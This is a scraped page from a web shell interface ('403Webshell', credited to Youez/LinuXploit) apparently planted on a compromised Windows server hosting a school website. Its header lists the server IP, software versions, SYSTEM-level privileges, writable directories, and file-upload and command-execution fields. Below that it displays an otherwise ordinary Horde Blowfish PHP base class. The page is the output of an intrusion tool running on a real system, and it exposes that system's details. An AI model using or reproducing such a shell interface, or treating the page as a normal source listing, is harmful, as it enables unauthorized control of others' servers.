403Webshell
Server IP : 104.21.80.248  /  Your IP : 172.71.28.155
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  E:/Inetpub/www/myschool/triamudom/tuprblearn/lib/horde/framework/Horde/Crypt/Blowfish/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : E:/Inetpub/www/myschool/triamudom/tuprblearn/lib/horde/framework/Horde/Crypt/Blowfish/Base.php
<?php
/**
 * Copyright 2012-2017 Horde LLC (http://www.horde.org/)
 *
 * See the enclosed file LICENSE for license information (LGPL). If you
 * did not receive this file, see http://www.horde.org/licenses/lgpl21.
 *
 * @author   Michael Slusarz <[email protected]>
 * @category Horde
 * @license  http://www.horde.org/licenses/lgpl21 LGPL 2.1
 * @package  Crypt_Blowfish
 */

/**
 * Abstract base driver class for blowfish encryption.
 *
 * @author    Michael Slusarz <[email protected]>
 * @category  Horde
 * @copyright 2012-2017 Horde LLC
 * @license   http://www.horde.org/licenses/lgpl21 LGPL 2.1
 * @package   Crypt_Blowfish
 */
abstract class Horde_Crypt_Blowfish_Base
{
    /**
     * Cipher method.
     *
     * @var string
     */
    public $cipher;

    /**
     * Initialization vector.
     *
     * @var string
     */
    public $iv = null;

    /**
     * Encryption key.
     *
     * @var string
     */
    public $key;

    /**
     * Is this driver supported on this system?
     *
     * @return boolean  True if supported.
     */
    public static function supported()
    {
        return true;
    }

    /**
     * Constructor.
     *
     * @param string $cipher  Either 'ecb' or 'cbc'.
     */
    public function __construct($cipher)
    {
        $this->cipher = $cipher;
    }

    /**
     * Encrypts a string.
     *
     * @param string $text  The string to encrypt.
     *
     * @return string  The ciphertext.
     * @throws Horde_Crypt_Blowfish_Exception
     */
    abstract public function encrypt($text);

    /**
     * Decrypts a string.
     *
     * @param string $text  The string to encrypt.
     *
     * @return string  The ciphertext.
     * @throws Horde_Crypt_Blowfish_Exception
     */
    abstract public function decrypt($text);

    /**
     * Sets the initialization vector (required for CBC mode).
     *
     * @param string $iv  Initialization vector.
     */
    public function setIv($iv = null)
    {
        $this->iv = is_null($iv)
            ? substr(new Horde_Support_Randomid(), 0, 8)
            : $iv;
    }

    /**
     * Pad text to match blocksize length.
     *
     * @param string $text     Unpadded text.
     * @param boolean $ignore  Don't pad if already at blocksize length.
     *
     * @return string  Padded text.
     */
    protected function _pad($text, $ignore = false)
    {
        $blocksize = Horde_Crypt_Blowfish::BLOCKSIZE;
        $padding = $blocksize - (strlen($text) % $blocksize);

        return ($ignore && ($padding == $blocksize))
            ? $text
            : $text . str_repeat(chr($padding), $padding);
    }

    /**
     * Unpad text from blocksize boundary.
     *
     * @param string $text  Padded text.
     *
     * @return string  Unpadded text.
     */
    protected function _unpad($text)
    {
        return substr($text, 0, ord(substr($text, -1)) * -1);
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit